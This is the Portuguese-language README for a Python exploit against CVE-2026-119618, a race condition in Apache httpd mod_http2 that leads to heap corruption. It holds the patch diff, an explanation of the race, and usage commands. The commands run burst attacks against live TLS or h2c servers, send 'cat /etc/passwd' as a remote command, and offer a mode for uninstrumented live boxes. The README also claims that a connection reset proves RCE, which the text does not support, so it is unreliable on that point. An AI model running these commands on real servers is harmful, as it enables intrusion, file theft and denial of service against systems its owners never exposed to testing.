Exploit HTTP/2 em Python para CVE-2026-119618, uma condição de corrida no cabeçalho de requisição do mod_http2 que causa corrupção de heap e RCE no Apache httpd 2.4.55–2.4.70, com ambiente de teste Docker.
Execução Concorrente Usando um Recurso Compartilhado com Sincronização Imprópria (CWE-362) na tabela de cabeçalhos de requisição HTTP/2 → corrupção de heap → RCE.
| CVSS | 9.8 (Crítico) |
| Vulnerável | httpd 2.4.55 – 2.4.70, standalone mod_h2 2.0.8 – 2.0.42 |
| Corrigido em | httpd 2.4.71 (lançado em 2026-11-11) |
| Patch upstream | 824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977) |
| Descobridores | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell) |
Uma linha em modules/http2/h2_request.c, dentro de assign_headers():
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
Diff completo salvo: references/824beab_mod_http2_assign_headers.patch.
O ramo vulnerável só é executado quando todas estas condições se verificam para um único pedido:
CONNECT;Content-Length;Content-Type;no_body é verdadeiro — o cliente já enviou END_STREAM sem frame DATA
(no_body == conn_ctx->beam_in == NULL, ou seja, o corpo do pedido nunca foi
armazenado em buffer porque o stream transportava END_STREAM no momento dos cabeçalhos).req->headers é a tabela de cabeçalhos h2_request. Essa tabela é um recurso
partilhado com dois proprietários:
h2_stream_add_header() → h2_request_add_header() →
h2_request_add_header escreve em req->headers.h2_mplx → c2_process() →
h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).No código vulnerável, a última escrita do ciclo de vida do pedido —
apr_table_setn(req->headers, "Content-Length", "0") — ocorria numa thread
worker c2, numa tabela em que a thread c1 ainda podia estar a escrever (a
sessão continua a despachar/descarregar frames para esse stream depois de o worker
c2 ter iniciado c2_process). Duas threads a mutar o mesmo apr_table_t
(rehash da tabela de hash / realloc de elementos) sem qualquer bloqueio → corrupção
do heap.
r->headers_in, por contraste, é criado no topo de assign_headers() como
apr_table_clone(r->pool, req->headers) — uma cópia nova por pedido no pool do
worker c2, nunca tocada por c1. A correção limita-se a mover a escrita para lá,
eliminando a escrita no recurso partilhado e a corrida.
Content-Type presente, sem Content-Length, flag END_STREAM definida no
frame HEADERS (não se segue corpo).apr_table_setn(req->headers, …) vulnerável enquanto a thread c1 está concorrentemente
a tocar no mesmo req->headers.apr_table → corrupção do heap → RCE (ou DoS
se a corrupção for benigna / o ASLR for hostil).Observável num servidor em produção: um stream recebe RST_STREAM, a conexão
recebe um GOAWAY, ou a conexão cai a meio da rajada (um crash). Um servidor
2.4.71 corrigido responde ao mesmo pedido único normalmente — razão pela qual o
modo --verify é um teste rápido e o modo rajada é o que força a corrida.
cve_2026_119618_exploit.py — Python puro,
controla a máquina de estados HTTP/2 com o pacote h2
(sem dependências C). Em cada ronda abre uma conexão, negoceia h2
(ALPN) ou h2c, e dispara uma rajada compacta de streams triggers + flood num
único sendall() para que todos os frames HEADERS (cada um com END_STREAM) atinjam o servidor
em sequência imediata; depois fica à espera de RST / GOAWAY / EOF.
Funciona em qualquer Apache vulnerável com h2 ativado — sem CGI personalizado, sem
configuração especial do servidor. O RST/EOF é a assinatura da corrupção; a
flag --cmd é opcional (para prova de RCE num ambiente de teste com um endpoint de RCE).
O exploit decodifica os HEADERS da resposta com um decodificador hpack bruto (mantido
separado do decodificador interno da biblioteca h2, que armazena frames em buffer até que o
stream seja fechado por END_STREAM — um frame que o mod_h2 do Apache frequentemente não envia
na resposta CGI à prova de RCE). É assim que a prova de RCE X-Cmd-Out é
capturada de forma confiável, mesmo quando a máquina de estados da biblioteca h2 nunca emite
ResponseReceived.
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v